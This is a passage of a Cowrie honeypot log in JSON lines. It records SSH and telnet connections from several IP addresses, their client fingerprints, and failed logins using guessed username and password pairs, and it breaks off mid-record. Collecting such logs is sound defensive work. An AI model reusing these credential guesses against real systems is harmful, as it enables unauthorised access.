{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:53.991305Z","src_ip":"80.253.31.232","session":"4420563f266e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60708,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b81c64f9831","protocol":"telnet","message":"New connection: 5.61.90.139:60708 (10.17.0.5:23) [session: 7b81c64f9831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:54.145394Z"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"12345678","message":"login attempt [odoo/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:54.548225Z","src_ip":"80.253.31.232","session":"4420563f266e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:55.683790Z","src_ip":"80.253.31.232","session":"4420563f266e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36710,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c6e47a658c2","protocol":"ssh","message":"New connection: 159.203.92.129:36710 (159.203.135.109:22) [session: 9c6e47a658c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:08.541319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:08.546136Z","src_ip":"159.203.92.129","session":"9c6e47a658c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:08.552416Z","src_ip":"159.203.92.129","session":"9c6e47a658c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aizql","password":"123","message":"login attempt [aizql/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:08.569510Z","src_ip":"159.203.92.129","session":"9c6e47a658c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:09.577255Z","src_ip":"159.203.92.129","session":"9c6e47a658c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":56142,"dst_ip":"159.203.135.109","dst_port":22,"session":"6056f56b023a","protocol":"ssh","message":"New connection: 217.154.192.185:56142 (159.203.135.109:22) [session: 6056f56b023a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:25.714744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:25.719324Z","src_ip":"217.154.192.185","session":"6056f56b023a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:25.820283Z","src_ip":"217.154.192.185","session":"6056f56b023a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dockeruser","password":"12345678","message":"login attempt [dockeruser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:26.253470Z","src_ip":"217.154.192.185","session":"6056f56b023a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:27.356990Z","src_ip":"217.154.192.185","session":"6056f56b023a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.24330186843872,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:32.987040Z","src_ip":"5.61.90.139","session":"a5a1e7ab2f7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.28799533843994,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:33.433286Z","src_ip":"5.61.90.139","session":"7b81c64f9831","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":32788,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d513766f947","protocol":"ssh","message":"New connection: 80.253.31.232:32788 (159.203.135.109:22) [session: 0d513766f947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:39.272342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:39.276658Z","src_ip":"80.253.31.232","session":"0d513766f947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:39.398764Z","src_ip":"80.253.31.232","session":"0d513766f947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123.com","message":"login attempt [ubuntu/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:39.920799Z","src_ip":"80.253.31.232","session":"0d513766f947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:41.399792Z","src_ip":"80.253.31.232","session":"0d513766f947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00116181373596,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:43.800129Z","src_ip":"146.120.225.17","session":"585fcbe3a116","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":32912,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b635fdb3a95","protocol":"telnet","message":"New connection: 146.120.225.17:32912 (10.17.0.5:23) [session: 6b635fdb3a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:44.812898Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":33756,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dc811c5571a","protocol":"ssh","message":"New connection: 91.134.240.52:33756 (159.203.135.109:22) [session: 7dc811c5571a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:46.424635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:46.437193Z","src_ip":"91.134.240.52","session":"7dc811c5571a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:46.509620Z","src_ip":"91.134.240.52","session":"7dc811c5571a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubt123","message":"login attempt [ubuntu/ubt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:46.807494Z","src_ip":"91.134.240.52","session":"7dc811c5571a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:47.892407Z","src_ip":"91.134.240.52","session":"7dc811c5571a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47380,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba0c0920f300","protocol":"ssh","message":"New connection: 159.203.92.129:47380 (159.203.135.109:22) [session: ba0c0920f300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:48.730988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:48.735521Z","src_ip":"159.203.92.129","session":"ba0c0920f300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:48.740082Z","src_ip":"159.203.92.129","session":"ba0c0920f300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aizql","password":"123456","message":"login attempt [aizql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:48.752958Z","src_ip":"159.203.92.129","session":"ba0c0920f300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:55:49.767871Z","src_ip":"159.203.92.129","session":"ba0c0920f300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60714,"dst_ip":"10.17.0.5","dst_port":23,"session":"07337293fa94","protocol":"telnet","message":"New connection: 5.61.90.139:60714 (10.17.0.5:23) [session: 07337293fa94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:14.497873Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60716,"dst_ip":"10.17.0.5","dst_port":23,"session":"2528ef599805","protocol":"telnet","message":"New connection: 5.61.90.139:60716 (10.17.0.5:23) [session: 2528ef599805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:14.624308Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":46004,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b9b6a16b44a","protocol":"ssh","message":"New connection: 217.154.192.185:46004 (159.203.135.109:22) [session: 2b9b6a16b44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:15.851707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:15.856833Z","src_ip":"217.154.192.185","session":"2b9b6a16b44a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:15.949888Z","src_ip":"217.154.192.185","session":"2b9b6a16b44a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"a","message":"login attempt [hadoop/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:16.353441Z","src_ip":"217.154.192.185","session":"2b9b6a16b44a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:17.448513Z","src_ip":"217.154.192.185","session":"2b9b6a16b44a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60720,"dst_ip":"10.17.0.5","dst_port":23,"session":"af0eda1033e1","protocol":"telnet","message":"New connection: 5.61.90.139:60720 (10.17.0.5:23) [session: af0eda1033e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:23.648422Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46758,"dst_ip":"159.203.135.109","dst_port":22,"session":"50bf806725cf","protocol":"ssh","message":"New connection: 159.203.92.129:46758 (159.203.135.109:22) [session: 50bf806725cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:31.350359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:56:31.354948Z","src_ip":"159.203.92.129","session":"50bf806725cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie